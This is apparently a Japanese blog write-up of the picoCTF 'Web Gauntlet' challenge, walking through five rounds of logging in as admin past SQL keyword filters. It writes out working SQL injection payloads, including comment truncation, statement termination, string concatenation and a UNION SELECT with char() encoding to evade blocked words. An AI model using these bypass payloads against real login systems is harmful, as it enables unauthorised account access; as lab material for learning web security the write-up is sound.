[picoCTF]Web Gauntlet
Can you beat the filters? Log in as admin
Username, Password を入力してadminとしてログインすればよいらしい
Round 1 / 5 とあるので全部で5回ステージがあるっぽい
filter.php
のほうにはRound1: or
と書いてある
まずSQLインジェクションを試してみたくなるのでSQLインジェクションのwikipediaにも載っている
username = admin
password = t' OR 't' = 't
を試してみる、しかしステージは進まない
filter.phpに書いてあるRound1: or
とはorが使えないということだろうか
username = admin' --
password = hoge
を試してみる(passwordはなんでもよいが)
--
を使って後ろの部分をコメントアウトすることでpasswordの認証が不要になる
するとRound 2に進むことができた、そして後ろには
SELECT * FROM users WHERE username='admin' --' AND password='hoge'
と表示された、実行されたSQLは見せてくれるようだ
そしてfilter.phpも更新されていて
Round2: or and like = --
になった、今度は禁止ワードが増えていてさっき使えた--
も使えなくなってしまった。
username = admin';
password = hoge
を試してみる、これは;
で一旦区切って実行させようということである。残った後ろの部分がsyntax errorとかになりそうだがこれでOKだそうで次のステージに進むことができた
SELECT * FROM users WHERE username='admin';' AND password='hoge'
そして次にfilterは Round3: or and = like > < --
;
が禁止されていないので先ほどと同じもので通るのでは?と思ったら普通に通ってしまった
そして次のfilterは Round4: or and = like > < -- admin
ついにadminという文字列が使えなくなってしまったようだ
試しにadmin
以外のusernameでも通らないだろうか、と思って入力してみたがやはりinvalidになってしまう、どうやらちゃんとadminとして認証させないといけないようだ
SELECT * FROM users WHERE username='user';' AND password='hoge'
admin
という文字列を直接入れなければいいのでは?ということで、例えばadm
とin
に分けてそれを結合するなどをすればよいのではと思い、SQLの文字列結合演算子の||
を使って
username = adm' || 'in';
password = hoge
としてみたがfilterされてしまった。結合しようがなんだろうがadmin
という文字列ができてしまうとダメなのだろうか...
ちなみに
username = ADMIN';
password = hoge
としてもfilterされているようだった、文字列上では大文字小文字は区別されるはずだがどうやら大文字でもだめらしい
そういえばさっきから弾かれているのは
(半角スペース)のような…?と思って試しに
No Whitespace - bypass using comments
?id=1/*comment*/and/**/1=1/**/--
を真似してみて
username = ad'/*a*/||/*a*/'min';
password = hoge
と入れてみたところ通った、これは正攻法なのだろうか?
そもそも半角スペースなしで
username = ad'||'min';
password = hoge
で通った、そしてRound 5も同じやり方で通ってしまった…
ちなみにfilterは Round5: or and = like > < -- union admin
だった
クリアするとfilter.phpにソースコードが出てきてその中にフラグが書いてある
filterのワードからして恐らく正攻法ではないのでまた他の人のwriteupや想定解もあったら読んでみる
こちらのブログを参考にさせていただいたところ、Round.4で
- UNIONで本命となるSQLをつなげる
- =やlikeが使えないので代わりにinを使う
- adminをASCIIコードに変換してcharという関数でadminに戻す
というテクニックが使われていてなるほどと思った。特にUNIONで本命となるSQLを繋げるのは自由度が高い操作ができそうで汎用性がありそう?
username = 'union/**/select/**/*/**/from/**/users/**/where/**/username/**/in(char(97,100,109,105,110));
password = hoge